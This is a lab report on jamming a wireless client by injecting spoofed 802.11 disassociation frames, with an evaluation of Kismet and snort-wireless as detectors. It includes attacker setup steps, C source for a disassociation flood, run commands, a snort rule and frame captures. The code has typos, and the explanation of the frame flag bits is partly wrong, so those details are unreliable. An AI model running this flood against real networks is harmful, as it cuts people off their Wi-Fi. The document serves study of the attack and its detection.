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Attacking and Detection: Deny of Service in Wireless Network by Injecting Disassociation Frames through Data Link Layer
ABSTRACT
Regarding to the OSI model, the only differences between wired and wireless network lies on the data link and physical layers. According to this fact, there are certain kinds of attacks such as DoS, Man-in-The-Middle and WEP cracking which are specific to the wireless network. Among them, wireless-oriented DoS utilize the characteristic of the wireless medium access control mechanism and can be easily implemented. In this project, we are going to simulate deny of service attack in wireless network by injecting disassociation frames. On the other hand, an intrusion detection system (IDS) will be employed in our project to capture this kind of malicious attack.
I. Introduction
Because of their low cost, enhanced mobility, and rapid deployment, nowadays wireless local area networks are widely used in various environments with the purposes of providing convenient network connection in people’s dayflies such as education, medicine, even home entertainment.

The 802.11 is a set of standards to define what the architecture of such a wireless network should be and how it works. These standards only concern the lowest two layers in OSI model: Data Link Layer and Physical Layer. Even though the 802.11 standards consider security problem from it’s beginning, for example, using WEP encryption method to transmit data, there are some vulnerabilities in 802.11.  The poor key management is one of them. The WEP uses same key for authentication and encryption, and there is no mechanism for session key refreshing. Another problem is that the authentication is only a one-way process, which means there is no provision for station to authenticate and verify the integrality of access points.
As a result, there are many attack methods developed aiming at 802.11 wireless networks, such as Man-in-The-Middle, DoS, and WEP cracking. Utilizing the weakness of the process of connecting a wireless network by stations, disassociation attack is one of DoS attack causing the victim unavailable to other wireless devices.

To demonstrate the effect of disassociation attack, in this paper, we design an experiment to perform this kind of attack and evaluate it. In section 2, the background of 802.11, DoS, association attack are presented as review.  In section 3 and 4, we introduce our simulation and setting up of environment respectively. Section 5 is the results and analysis. Section 6 describes our conclusion and summary.

II. background
IEEE 802.11 is a set of standards for wireless local area network (WLAN) computer communication, developed by the IEEE LAN/MAN Standards Committee (IEEE 802) in the 5 GHz and 2.4 GHz public spectrum bands.

-- Wikipedia (http://en.wikipedia.org/wiki/IEEE_802.11)

A. Architecture of wireless network
Other than wired Ethernet connection which communicates via cables, a wireless LAN, or WLAN, is based on a cellular architecture where the system is divided into cells and each cell is controlled by a Base Station (called Access Point, or AP in short). In the 802.11 nomenclature, these cells are referred as Basic Service Sets or BSS’s.

Although that a wireless LAN can be formed by a single cell with a single Access Point, most wireless configurations will be formed by several cells, where the Access Points are connected through some kind of backbone which may work with a variety of physical links, such as, typically cable, microwave, optical network, and wireless itself in some cases. This backbone is named Distribution System, or DS. The entire interconnected wireless LAN, including all the cells, different Access Points in them, and the Distribution System, is seen to the upper layers of the OSI model as a single 802 network, and has a name of Extended Service Set (ESS) in the 802.11 standards [6].

Besides an infrastructure wireless network described above, where stations are based around an Access Point, the 802.11 standards also describes another kind of wireless network, Ad Hoc. In such a network, stations communicate directly with each other without using any AP.

Figure 1 provides an illustration of an infrastructure-based network, and an ad hoc network is shown in Figure 2. Actually, a station can be any type of device which has a wireless network interface, for example, desktop PC, PDA, cell phone and so on. 
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Figure 1: Infrastructure Network
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Figure 2: Ad Hoc Network
B. 802.11 in OSI Model

The Open Systems Interconnection (OSI) model defines a framework for implementation of networking protocols in 7 layers. Each of layers in the model provides services for the above layer and only deals with the layer under it. This model is shown in Figure 3.

The 802.11 standards only concern the tow lowest layers of the OSI model, the data link layer and the physical layer. The data link layer in 802.11 can be subdivided into two sublayers, the Medium Access Control (MAC) sublayer and the Logical Link Control (LLC) sublayer. While the MAC sublayer is a set of rules which defines how to send data and access the wireless medium, the LLC sublayer deals with the error control, framing, and MAC addressing [7].
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Figure 3: OSI Model

C. Wireless Frame

The basic transmission unit between wireless devices is frame. Both stations and access point radiate and gather 802.11 frames when working. The format of wireless frames is shown in Figure 4. There are three kinds of frames used in wireless communication. Most of frames are data frames which contain IP packets, the data. The other two kinds of frames are management frame and control frame which are used for wireless connection and do not contain data.
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Figure 4: Frame Format

D. Denial of Service
A denial of service (DoS) is an action or series of actions that prevents any part of a system from working in conformity to its intention. As we know that, availability, important to the computer security, is the capability of system to serve authorized individuals. At this aspect, denial of service means the unavailability.

Denial of service attacks could be classified as either resource allocation attacks or resource destruction attacks. A resource allocation attack can consumes the resources of the destination system, causing legitimate usage unavailable. As soon as the attack stops, the resources become available again. Meanwhile, a resource destruction attack exploits vulnerabilities of the system to make its resources unavailable. [7]
E. Disassociation Attack in Wireless Network
Disassociation attack is a kind of DoS attack which mainly focuses on destroying the connectivity between station and access point. As the result, the victim disconnects from network and can not communicate with access point any more. To well describe this kind of attack, the principle of how a station connects to a network and communicates with others is first introduced.

Access points have the responsibilities that mediate all wireless traffic in the network. In an infrastructure network, stations must associate with an access point to join the network. The stations can become aware of the wireless network since the access point broadcasts its Service Set Identifier (SSID) to all nearby stations via the air.

Once a station gets the SSID from an access point, it must conduct the authentication process with that AP prior to any upper layer authentication (802.1X), which takes advantage of particular “back-end” servers to identify individual users based on various credential types. The 802.11 authentication requires a station to establish its identity before sending frames. This occurs every time a station connects to a network but does not provide any measure of network security. Access points may grant a station or deny it according to network configuration, for example, whether the station is in AP’s black access list. The 802.11 standards define two link-level types of authentication: open system and shared key, but many industry companies provide RADIUS (Remote Authentication Dial in User Service) server to store authentication information. The 802.11 authentication is not mutual, which means only the AP authenticates the station and not vice versa. And it should be noticed that at this level data is not encrypted [8].

When authentication is finished, stations can associate, in other words, register, with an AP to get full access to the network. Association allows the AP to register each station so that frames can be delivered correctly. Association is logically similar to connecting to a wired network. A station can only associate with one AP at a time but it may re-associate with another one when roaming in the whole wireless network [8].
There are three steps when association occurs, which are described as follows.

· After authenticates to an AP, a station sends an Association Request to AP. 

· The AP processes the Association Request. There are different ways for AP to decide whether or not a client request should be allowed. If it is OK, AP grants association and responds with a status code standing for success and the Association ID. Otherwise a response with only a status code of failure will be sent and the procedure ends.

· AP forwards frames to and from the station, which means the station can communicates with other devices from now on.

The state diagram of authentication and association can be illustrated like the following.
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Figure 5: The states of authentication and association

A typical disassociation attack usually happens as the following description. A fake disassociation frames is generated by hacker software or tool, which contains the real AP MAC address as the source address, and a victim station’s MAC address as the destination address. Then it is sent to air. When the victim receives it, it will disassociate with the AP and then conduct re-association with AP again. But if the victim keeps receiving a large number of disassociation frames, it will struggle with re-association processes and hence won’t be able to work properly in the wireless network. So now, as a result, the victim station is not available to other stations or devices. Obviously, this is a kind of DoS attack.
III. simulation design
As we described before, deny of service of a particular machine, connecting to a wireless network, can be achieved by continuously sending disassociation frames to that machine. To demonstrate the affect of such kind of attack, we design our simulations as the following:
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Figure 6
A wireless network based on infrastructure model is formed which contains an access point (AP) and three laptops (L1, L2, L3). The access point provides the connection and manipulates communications between wireless laptops. Among these three laptops (L1, L2, L3), L2 plays a role as victim which receives disassociation frames from the attacker and consequently will be disconnected from the network. Another laptop (L1) in the network serves as normal machine which sends ping messages in order to get ICMP echo service from the victim. We expect that before starting the attack, L1, as a tester, is able to obtain the ICMP echo responses from the victim machine; however, when L2 is under attacking, it fails to get such responses. The third machine (L3) in the network will be equipped with IDS (Intrusion Detection System) which monitors all traffics over the entire network. Once, certain types of abnormal data frames are captured, the alarm will be triggered and the captured data frames will be correspondingly logged into a dump file. 
In addition to the topology of the formed network, an attack (L4), on the other hand, will sit outside of the network and periodically sends disassociation messages to the intended victim (L2). Disassociation messages (frames) are injected through data link layer. Therefore, the MAC addresses will be embedded as the source and destination address. To make disassociation frames function properly, the attack spoofs access point’s MAC as the source address and victim’s MAC address will be used as the destination. In other words, sending the victim disassociation frames pretends that the AP wants to disassociate with it due to some kind of reasons.
We, in this simulation, are going to further investigate the affect of disassociation frames and evaluate the performance of selected IDS (Intrusion Detection System). We will send disassociation frames at different rate to examine how severely the victim is affected. Meanwhile, the capability of IDS will be evaluated at these different rates to demonstrate whether it can fully capture all those disassociation frames but sent at various rates. 
IV. setting up exmperimental enviroment
In order to successfully simulate this kind of attack, the above mentioned components should be appropriately equipped with both hardware and software. In this section, we will describe in details about how to set up the experimental environment regarding to our simulation. 
Generally, in our system, there is no specific restriction on the selection of access point (AP) and the tester (L1). Access point can be any kind of wireless router while L1 is any kind of laptop with built-in wireless network adapter or a PCMCIA network card to provide access to the wireless network. However, we do have limitations on the configuration of victim (L2), intrusion detector (L3) and the attacker (L4). The wireless network adapters employed by them have to be Intersil Prism chipset based. Furthermore, certain particular software is required by them to either inject the disassociation frame (by L4) or capture those frames (by L3) transmitted over the network. In our system, the configuration of each network component is listed as the following: 
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The foundation of our simulation is based on the proper establishment of the attack and detector. Referring to the above configuration list, they both operate at Linux Red Hat 9 with kernel 2.4 version and employ SMC2532W-B as the wireless network adapters. We use SMC2532W-B because it is based on Intersil Prism 2.5 chipset and allows data injection through data link layer if driven by HostAP driver. On the other hand, it can also be configured to operate at promiscuous mode to monitor the traffics over the entire network. Furthermore, its driver, HostAp, can be successfully installed in Red Hat 9 with kernel 2.4. In the following subsections we will describe in details about how to configure attacker and detector respectively.
A. Constructing Attacker
To be an attacker, Laptop L4 should be capable of sending disassociation frames to the victim. Disassociation messages, however, are not as regular as application data. They must be injected through the data link layer to convey management information employed in 802.11 standards. Succeeding in doing so requires not only the specific hardware but also the proper software tools in hands. As we described before, SMC2532W-B will be used as hardware platform to inject disassociation frames. However, it has to be driven by a proper driver. As mentioned in [1], the firmware of SMC2352W-B supports a so called Host AP mode in which the firmware takes care of time critical tasks like beacon sending and frame acknowledging, but leaves other management tasks to host computer driver. The driver HostAp, on the other hand, implements basic functionality needed to initialize and configure Prism-based cards, to send and receive frames, and to gather statistics. In addition, it includes an implementation of following IEEE 802.11 functions: authentication (also including de-authentication), association (re-association, and disassociation). Thus, HostAp is a perfect candidate for our case. However, HostAp, unlike Air-jack driver which provides direct utilities for sending association and de-authentication frames, does not provide such conveniences. Consequently, we have to include an additional tool for generating and inject disassociation frames. Fortunately, Libwlan, compatible with HostAp driver, is suitable for executing the disassociation attack. Strictly speaking, Libwlan is not a frame generation and injection tool but a library which provides a set of routines that allows users to generate and send various data link layer frames of their own interests. Therefore, we, in order to carry out disassociation attacking, have to write our own codes based on a particular API supplied in Libwlan. After achieving the right hardware and software tools, building an attacker is a relative simple process as the following: 
1. Install Red Hat 9 with kernel 2.4.20-8 by using installation CDs. 
       Install HostAp driver as mentioned in [1]: 
2. Download hostap-0.0.4.tar.gz from [2] to a directory called “backup” 

3. Make sure you have the kernel source in /usr/src/. You can check by inputting command “ls /usr/src”. You see the folder by name “linux-2.4.20-8”, if kernel source is not installed then get the get Red Hat 9 installation CD to add the kernel source. 
4. Go to “backup” directory and untar the downloaded file by using the following command: 

tar   –zxvf   hostap-0.0.4.tar.gz

5. Change to directory “hostap-0.0.4” by typing 

cd hostap-0.0.4 
6. Now you have to copy a configuration file [kernel-2.4.20-i686.config] from location “/usr/src/linux-2.4.20-8/configs/” to location “/usr/src/linux-2.4.20-8/” by typing: 
cd /usr/src/linux-2.4.20-8/configs

               cp kernel-2.4.18-i686.config /usr/src/linux-2.4.20-8
7. Rename the copied file as .config
cd ..

mv kernel-2.4.20-i686.config .config

cd /backup/hostap-0.0.4

8. Now edit the Makefile in your favourite editor and do the following change: 
vi Makefile

Change the value of KERNEL_PATH=/usr/src/linux at line no.3 to your kernel source directory. Make it as: KERNEL_PATH=/usr/src/linux-2.4.20-8/ then save and exit. 

9. Now you have to editor one more file hostap_cs.c   

from /drivers/modules .

vi /drivers/modules/hostap_cs.c 

At line 65: static int ignore_cis_vcc = 0, replace the value 0 with 1 and save it. 

10. Compile the source 

make pccard 

11. Install hostap_cs.o module by running

make install_pccard 

12. Retart the pcmcia service by running

service pcmcia restart 

13. Insert hostap_cs module by running 

modprobe hostap_cs

 So far, we have finished the procedures of installing HostAp driver. Now, we are ready for installing Libwlan library: 
14. Download libwlan-0.1.tar.gz from [3] into “backup” directory. 

15. Change to “backup” directory. 

cd /root/backup

16. Untar the downloaded file.

tar –zxvf  libwlan-0.1.tar.gz 

17. Change to the directory “libwlan”. 

cd libwlan 

18. Install Libwlan by typing: 

make

make install  

Finally, we, based on Libwlan library, need to write a small piece of code which enables the attacker to send disassociation frames to the victim. The complete source will be supplied in the appendix. However, proper functionality of the source code depends on the configuration of the wireless adapter.  In our simulation, we combine the programme compilation and adapter configuration stages together and write into a script file. This file contains the following statements:  
1. modprobe pcmica_core

2. modprobe yenta_socekt 

3. modprobe ds 

4. service pcmcia start

5. gcc –Wall –lwlan – o deassoci deassociate_attack.c

6. cd /root/backup/hostap-0.0.4/utils

7. ./prism2_param wlan0 hostapd 1

8. ifconfig wlan0ap up 

9. iwconfig wlan0 channel 5

10. iwconfig wlan0 mode monitor
The first three statements in the script file mount the required procedures for starting wireless adapter. Statement 5 compiles the source code into an executable file called “deassoci”. The following statements configure the wireless adapter such as setting up the channel (has to be same as the AP’s to which the victim connects), configure the adapter’s working mode.
Finishing all the previously mentioned processes enables us to construct an attacker ready to run. Up to this point, a hacker can perform attacking by simply supplying correct arguments such as the interface, AP’s MAC, victim’s MAC, and source’s MAC (same as AP’s MAC) to run complied source code.  Correspondingly, the disassociation frames will be sent to the intended victim and cause it to disassociate with the access point. 
B. Constructing Detector
The Detector, in addition to installing HostAp driver, should be equipped with IDS (Intrusion Detection System) to capture the disassociation frames sent by attacker. Installing HostAp driver can follow the same process which we introduced previously. In our simulation, we select Kismet as the IDS. Kismet has the ability to monitor 802.11 b standard data frames over the network. When certain abnormal data frames are captured, the alarm will be triggered to indicate the appearance of the intrusion. Moreover, Kismet will log the captured data frames into a dump file which can be analyzed by some protocol analyzer. But, Kismet itself is short of capability to analyze the dumped file even though we can set up the filter to log data frames intended to a particular station. Furthermore, the dumped file is human-unreadable without further interpretation. Hence, we should attach a protocol analyzer in the process of constructing the detector. In our simulation, we employ snort-wireless as the protocol analyzer which will interpret the dump file created by Kismet. Wireless snort has the ability to interpret a dump file to extract the data of our interest. Such functionality is implemented by supplying a particular interpretation rule. The actual installation process of Kismet and Wireless snort is described as the following: 
First, let’s focus on installing Kismet: 
1. Download Kismet-2006-04-R1 from [4] to “backup” directory. 
2. Change to “backup” directory and do the following: 
tar –zxvf  kismet-2006-04-R1.tar.gz
cd kismet-2006-04-R1

               ./configure 

               make dep 

3. Install Kismet by running 

make && make install

4. Configure Kismet: 

cd /usr/local/etc/

vi kismet.conf

Edit the following: 

suiduser = root 

source = hostap_cs, wlan0, prism 

Save and Exit 

vi kismet_ui.conf

Edit the following: 

gui = panel 

Save and Exit 

By executing the above mentioned process, we have succeeded in installing Kismet. 

Now, let’s switch to the installation of wireless snort: 

1. Download snort-wireless-2.4.3-alpha04.tar.gz from [5] to “backup” directory 
2. Switch to “backup” directory and do the following: 

tar –zxvf snort-wireless-2.4.3-alpha04.tar.gz 

3. Change to “snort-wireless-2.4.3-alpha04” directory

4. Install snort-wireless by running: 

make 

make install 
Up to this point, we construct an attacker detector which refers to laptop L3 in our system. 
V. experimntal reuslts and analysis
Once we construct our system as mentioned in the previous section, we are able to start our simulation. We plan our experiments as the following: 

1. Start Kismet first at the detector (L3) side by typing the following commands: 

cd /root

Kismet

2. The tester (L1) starts testing by ping the victim (L2) and another machine by typing: 
ping 192.168.1. 103 –t    ----victim’s IP 

ping 192.168.1.1 –t         ----Modem’s IP 

3. Attacker (L4) starts attacking by running our program (for details, please refer to the appendix of source code) by following command: 

 ./deassoci wlan0ap 00:11:95:75:23:9a   00:09:5b:83:f8:9c   00:11:95:75:23:9a
Where: the first mac is bssid of the nework to which the victim belongs.  

            The second mac is the victim’s mac. 

            The third mac is the spoofed mac used by the attacker (hacker pretends real AP to send disassociation frames to
            victim) . 

4. Check what happens on the tester (L1) side. 

5. When the attacking program finishes execution, we stop Kismet. 

6. Use wireless-snort to interpret the dumped file by running:
snort –X –w –c disassociation.rule –r     Kismet-01-nov-2007-1.dump
                 (Wireless-snort interprets the dump file “Kismet-01-nov-2007-1.dump” created by Kismet 

                   by using our defined rule file “disassociation.rule” )

snort –X –w –r /var/log/snort/snort-99833875.dump  > /root/dissassoc_rate_02.log

(Wireless-snort translates its generated dump file “snort-99833875.dump to human-readable file 

  “disassoc_rate_02.log)
7. Repeat the above process at different rate of sending the attacking frames. 
     First, we send disassociation frame from attacker (L4) side at rate of 1frame/0.2 seconds. The screen shot at test side (L1) (before attacking and after attacking) are shown as the following: 
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Figure 7 (Tester ping victim before attacking)
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Figure 8 (Tester ping modem before attacking)
However, during the attacking at rate 1 frame/0.2 second, the screen shots at tester side of pinging victim and same node respectively are shown as: 
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Figure 9 (Tester ping victim during attacking)
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Figure 10(Tester ping modem during attacking)
Comparing the above four graphs demonstrates that the attacking takes the action. Consequently, the victim, due to the disassociation attack, denies providing ICMP echo responses to the tester. This conclusion is ensured because the tester can obtain the same service from the same node with IP address as 192.168.1.1 before and during the attacking without any affect by the attack. However, it can get such service from the victim before the attacking but can’t get the same service from the victim during the attack. 
On the other hand, the screen shot of Kismet during the attack displays as the following: 
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Figure 11 (Disassociation Frame Captured by Kismet)
With rate 1 frame/0.2 second
From Figure 11’s status panel, we can clearly see Kismet reports a deauthentication/disassociation flood (line 1 and 2) happening on a wireless network with BSSID: 0x000000000000. This phenomenon actually results from the disassociation frames we send at step 3 mentioned in the beginning of this section. However, referring to step 3, we explicitly specify that the BSSID is0x00119575239A, which seems a contradiction appeared. Here, we will leave this question to be explained later in this section.
Subsequently, when the attacker sends the disassociation frames at the rate 1 frame/1 second, the screen shots, on the tester side, has the same pattern as the previous experiment except for the case during the attack as the following: 
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Figure 12 ( Disassociation Frame of 1 frame/second )
Regarding to such a case, the performance of Kismet, as IDS, can be displayed in the following screen shot:
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Figure 13 (Disassociation Frame Captured by Kismet)

With rate 1 frame/ second
Comparison between figure 13 and figure 12 demonstrates that: sending disassociation frames at rate 1 frame/second affects the victim but not as severely as the case where the rate is 1 frame/0.2second. This coincides with our expectation because decreasing the rate of disassociation frame provides more chance to the victim to re-associate with the access point. To further convince this kind of observation, another experiment which sends disassociation frames at rate 1 frame/10seconds is conducted. The screen shot upon this scenario is shown as the following: 
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Figure 14 (Disassociation Frame of 1 frame/10 seconds)
In this case, the affect of disassociation frames upon victim is further reduced. It can be seen that only a few of cases indicated as the “required time out”. With such a large time interval --10 seconds, the victim can successfully re-establish the association with the real AP in a very high probability. Hence, when tester, during attacking, requires ICMP echo service from victim, few cases will fail. One more experiment could be further conducted to convince that the victim is really affected by the attack that we are performing. If we stop attacking in all the three cases (regarding to rate 1frame/0.2second, 1 frame/1second and 1 frame/10seconds), within a very short delay, the victim in each case gets recovered as shown in figure 7. Re-executing those same attacks generates the same patterns as Figure 9, 12 and 14.
On the other hand, when referring to figure 10 and 13, the difference is obvious. In figure 10, Kismet explicitly reports a deauthentication/disassociation flood on network with BSSID: 0x000000000000. However, Kismet, regarding to figure 13, alerts generally for suspicious disassociation frames sent from MAC 0x00119575239A. The underlying reason for such difference indicates the impact of rate at which the disassociation frames are sent. At a high rate, for instance 1 frame/0.2second, the victim is affected so severely that it is unable to survive from this (see figure 9) which is absolutely an abnormal case. Kismet ensures that there is a attacking and reports a disassociation flooding happening on the network (see figure 11). On the other hand, when sending the disassociation frames at a relatively lower rate, say 1 frame/second, the victim has the ability to renew the association with AP (see figure 12). Kismet will simply alert a suspicious disassociation from a source because AP, in normal case, is possible to initiate a disassociation with a particular client but at a even lower rate. To answer the question addressed previously in this section and examine the performance of Kismet in these two cases, we use snort-wireless as the protocol analyzer to interpret the dump files created by Kismet during those times. 
The usage of snort-wireless is introduced in the six step mentioned at the beginning of this section. The first command configures wireless-snort to interpret the dump file following “-r” option by using the specified rule which follows the “-c” option. The rule file “disassociation.rule” has the following contents: 

            “alert wifi 00:11:95:75:23:9A -> 00:09:5B:83:F8:9C (msg: “Disassociation Attack”; type: TYPE_MANAGEMENT; stype: STYPE_DISASSOC;)”
The above rule will instruct wireless-snort to only extract disassociation frames from MAC 00:11:95:75:23:9A to MAC 00:09:5B:83:F8:9C and generate alert messages when such frames of interest are recognized by wireless-snort. The resulting dump file will be stored in “/var/log/snort/” directory, but it is till human-unreadable. To generate the text file of our interested, the second command also in step 6 is used. When running the first command with respect to rate 1 frame/0.2second and 1 frame/second respectively, wireless-snort indicates that for the former case 720 disassociation frames are logged by Kismet while in the latter case Kismet logs 820 such frames. These two statistics demonstrate that Kismet will drop/discard some disassociation frames when they are sent at relatively high rate as 1 frame/0.2second in this case. On the other hand, when the second command in step 6 terminates, the resulted text files in both cases are attached in appendix 2 and 3. Referring to these two files each entry represents a disassociation frame sent by the attacker. They have the similar pattern as the following:

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A 

0x0010: 00 00 00 00 00 00 F0 6B 05 00                    
Referring to the data structure defined for disassociation frame in Libwlan’s “lib_total.h” file, the first two bytes “0xA008” is frame control field. The semantics behind these two bytes indicate that this is a disassociation frame within the internal wireless network because both ToDS and FromDs bits are set to 1. However, the power management bit is set 1 which means the sender will still be active after transmitting this frame. The following two bytes “0x0201” are used for calculating the value of NAV. The six bytes component “0x00095B83F89C” stands for the MAC of the destination. In our case, this is the victim’s MAC address. Similarly, the following six bytes “0x00119575239A” represents the MAC of the source which is spoofed AP’s MAC in our case. The six bytes “0x000000000000” symbolize the BSSID which is as source address presented in the MAC frame. The subsequent two bytes “0xF06B” is used for sequence control. And the last two bytes “0x0500” represents the reason why AP wants to disassociate with a particular client. In our case, “0x0500” means the AP is currently too busy to associate with client identified by MAC address as “00:09:5b:83:F8:9C”. All segments are straightforward except for the BSSID field because in our experiment we explicitly specifies the BSSID as “00:11:95:75:23:9A” in step 3. Thus, it supposes to be 0x00119575239A instead of 0x000000000000. The underlying reason is due to the functionality of HostAP driver and characteristics of Prism chipset. When “./prism2_param wlan0 hostapd 1” command is executed during compiling the code written by us, the physical card is divided into two logical cards “wlan0ap” and “wlan0sta”. “wlan0ap” operates as an access point which has artificial MAC as “00:00:00:00:00:00”. Since we use “wlan0ap” (one of the arguments for running the programme) as the interface to send the disassociation frames, the underlying driver HostAP will override the original BSSID by its own MAC with value 0x000000000000, although it is a fake MAC value. This observation answer the question addressed previously in this section. Because the BSSID field in every disassociation frames we send have value “00:00:00:00:00:00”, Kismet will report a “deauthentication/disassociation flood on 00:00:00:00:00:00” (see figure 11) when those frames are sent at a high rate. 
VI. SUMMARY AND CONCLUSION

In this report, we first briefly introduce 802.11 standards with focus on the data link layer of wireless network. Certain attacks specific to wireless network can be performed at the data link layer of wireless network due to its inherent characteristics. We then describe in details regarding to simulate a kind of deny of service attack by injecting disassociation frames through the data link layer of wireless network. A piratical platform equipped with particular hardware and software tools is constructed to demonstrate such attack. In our system, we employ both attacking component and an intrusion detecting component and conduct several experiments to examine the affect of disassociation attacking and evaluate the performance of our selected IDS—Kismet. The experimental results indicate firstly the Intersil’s Prism chipsets, when used to manufacture wireless network adapter, have security breaches. And it is the real fact that currently Prism chipset based wireless network interfaces have been phased out from the market. Secondly, the affect of disassociation attacking is related to how often the disassociation frames are sent to the victim. The higher rate the disassociation frames are sent, more severe the victim will be affected. Finally, the performance of Kismet, as an intrusion detection system, is also related to the rate at which the disassociation frames are sent. With a relatively high rate, it may not capture all disassociation frames injected by the attacker. In other words, its performance varies according to the rate at which disassociation frames are sent. Furthermore, Kismet has the ability to report the severity of attacking by also analyzing the rate of captured attacking messages. In the future, we can use our platform to compare the performance of several intrusion detection systems regarding to the same attack we performed in this project. 
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Appendix 1

Source Code for Disassociation Frame Generation and Transmission

/* 

The following codes demonstrate how to use Libwlan to develop a small program that sends   disassociation flood to a specific station identified by the station’s MAC. Meanwhile, the attacker uses the spoofed AP’s MAC as its source address

*/

#include <libwlan.h>

int main(int argc, char *argv[])

{

     int s, *len, i, j; 

     const char *iface = NULL; //interface referred by the established socket 

     struct ieee80211_mgmt mgmt; //structure for management frame defined in Libwlan 

     char *bssid_addr. *dst_addr, *src_addr; //refer to bssid, destination mac, source mac

                                                                      //supplied by command line 

     u_char *bssid, *dst_mac, *src_mac;   //store converted bssid, destination mac, source

                                                                 //mac in hexadecimal 

     if(argc != 5)    //improper input supplied by user 

     {

          pirntf(“Usage: %s <wlan#ap> <bssid_address> <dst_address> <src_address>\n”, argv[0]);

          pirntf(“Example: %s wlan0ap 00:01:23:45:0A 00:01:23:45:0A 00:02:4C:00:00\n”, argv[0]);

          exit(-1);

      }

      else

      {

          iface = argv[1];     //store the interface 

          bssid_addr = argv[2];   //store the bssid 

          dst_addr = argv[3];  //store the destination mac

          src_addr = argv[4];   //store the source mac 

       }

      s = socket_init(iface);    //construct the socket for send frames

      len = malloc(1);  

      bssid = lib_hex_aton(bssid_addr, len);  //convert the bssid into hexadecimal 

      dst_mac = lib_hex_aton(dst_addr, len);  //convert the destination mac into hexadecimal

      src_mac = lib_hex_aton(src_addr, len);   //convert the source mac into hexadecimal 

      for( j=1 ; j<= 50; j++){

            for(i=1; i<=10; i++){

               mgmt = build_disassoc(dst_mac, src_mac, bssid, WLAN_REASON_DISASSOC_AP_BUSY);  

                  //construct the disassociation frame 

               if( send (s, &mgmt, IEEE80211_HDRLEN + sizeof (mgmt.u.disassoc), 0) < 0) 

                         //sending disassociation frame 

               {

                    perror (“ send: ”); 

                    sleep(1);

                }

             //usleep (200000);      

              sleep (10);            //used to control the rate of sending disassociation frames

              }

              printf(“Progression status: %.1f %%\n”, j/50.0 * 100);

      }

     close (s); 

     return 0;

}
Appendix 2

Part of File “diassoc_rate_02.log”

Interpretation of Wireless-Snort for Dump File Created by Kismet at Rate 1 frame/0.2second
11/01-22:55:23.268612 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 6B 05 00                    .......k..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:23.363666 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 6B 05 00                    .......k..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:23.455478 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:23.462578 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:23.487203 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:23.875304 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 6C 05 00                    ...... l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.085441 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 6C 05 00                    ......0l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.230145 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 6C 05 00                    ......0l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.295354 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 40 6C 05 00                    ......@l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.530815 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 6C 05 00                    ......Pl..

